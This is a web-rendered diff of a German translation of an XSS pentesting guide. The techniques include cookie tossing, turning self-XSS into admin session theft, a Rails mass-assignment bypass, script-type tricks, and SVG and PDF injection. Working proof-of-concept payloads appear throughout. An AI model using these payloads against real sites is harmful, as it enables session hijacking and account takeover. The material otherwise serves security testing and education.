Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine **anfällige Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dafür können Sie den Cookie-Tossing-Angriff verwenden:
|
Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine **anfällige Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dazu können Sie den Cookie-Tossing-Angriff verwenden:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../hacking-with-cookies/cookie-tossing.md
|
../hacking-with-cookies/cookie-tossing.md
|
||||||
@ -767,7 +767,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
|
|||||||
|
|
||||||
### Sitzungs-Spiegelung
|
### Sitzungs-Spiegelung
|
||||||
|
|
||||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, indem sie es den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
||||||
|
|
||||||
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
|
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
|
||||||
|
|
||||||
@ -783,7 +783,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
|
|||||||
```
|
```
|
||||||
### Ruby-On-Rails bypass
|
### Ruby-On-Rails bypass
|
||||||
|
|
||||||
Aufgrund der **RoR-Massenzuweisung** werden Zitate in das HTML eingefügt und dann wird die Zitatbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt, und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||||
Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
|
Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
@ -833,7 +833,7 @@ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer
|
|||||||
|
|
||||||
### Nur Buchstaben, Zahlen und Punkte
|
### Nur Buchstaben, Zahlen und Punkte
|
||||||
|
|
||||||
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, ist dies auf diese Zeichen beschränkt. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
|
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
|
||||||
|
|
||||||
### Gültige `<script>` Content-Types für XSS
|
### Gültige `<script>` Content-Types für XSS
|
||||||
|
|
||||||
@ -865,14 +865,14 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||||||
```
|
```
|
||||||
### Script-Typen für XSS
|
### Script-Typen für XSS
|
||||||
|
|
||||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angezeigt werden, um ein Skript zu laden?
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?
|
||||||
```html
|
```html
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
Die Antwort ist:
|
Die Antwort ist:
|
||||||
|
|
||||||
- **module** (Standard, nichts zu erklären)
|
- **Modul** (Standard, nichts zu erklären)
|
||||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei verpacken können.
|
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können.
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
{
|
{
|
||||||
@ -944,9 +944,9 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
|
|||||||
```
|
```
|
||||||
### Besondere Ersetzungsmuster
|
### Besondere Ersetzungsmuster
|
||||||
|
|
||||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenfolgenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||||
|
|
||||||
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **eine JSON-Zeichenfolge** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
||||||
|
|
||||||
### Chrome-Cache zu XSS
|
### Chrome-Cache zu XSS
|
||||||
|
|
||||||
@ -987,7 +987,7 @@ constructor(source)()
|
|||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
Wenn **alles undefiniert ist**, bevor untrusted code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen untrusted codes auszunutzen:
|
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
|
||||||
|
|
||||||
- Verwendung von import()
|
- Verwendung von import()
|
||||||
```javascript
|
```javascript
|
||||||
@ -1053,7 +1053,6 @@ trigger()
|
|||||||
|
|
||||||
- **Verschiedene Obfuskationen auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
- **Verschiedene Obfuskationen auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
|
||||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||||
@ -1528,7 +1527,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
|||||||
|
|
||||||
### XSS in Markdown
|
### XSS in Markdown
|
||||||
|
|
||||||
Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht kannst du XSS bekommen! Überprüfe:
|
Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht kannst du XSS erhalten! Überprüfe:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
xss-in-markdown.md
|
xss-in-markdown.md
|
||||||
@ -1545,19 +1544,27 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
|
|||||||
|
|
||||||
### XSS in dynamisch erstellten PDFs
|
### XSS in dynamisch erstellten PDFs
|
||||||
|
|
||||||
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot** zu **überlisten**, der das PDF erstellt, um **willkürlichen JS-Code** auszuführen.\
|
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
|
||||||
Wenn der **PDF-Erstellungsbot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.
|
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
server-side-xss-dynamic-pdf.md
|
server-side-xss-dynamic-pdf.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu **injizieren**:
|
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu injizieren:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
pdf-injection.md
|
pdf-injection.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### XSS in Amp4Email
|
||||||
|
|
||||||
|
AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, integriert HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit einem Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über [AMP-Komponenten](https://amp.dev/documentation/components/?format=websites) zugänglich sind.
|
||||||
|
|
||||||
|
Das [**AMP für E-Mail**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails, sodass die Empfänger direkt innerhalb ihrer E-Mails mit Inhalten interagieren können.
|
||||||
|
|
||||||
|
Beispiel [**Writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||||
|
|
||||||
### XSS beim Hochladen von Dateien (svg)
|
### XSS beim Hochladen von Dateien (svg)
|
||||||
|
|
||||||
Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||||
@ -1616,7 +1623,7 @@ id="foo"/>
|
|||||||
```xml
|
```xml
|
||||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||||
```
|
```
|
||||||
Finde **mehr SVG-Payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
Finde **weitere SVG-Payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||||
|
|
||||||
## Verschiedene JS-Tricks & relevante Informationen
|
## Verschiedene JS-Tricks & relevante Informationen
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user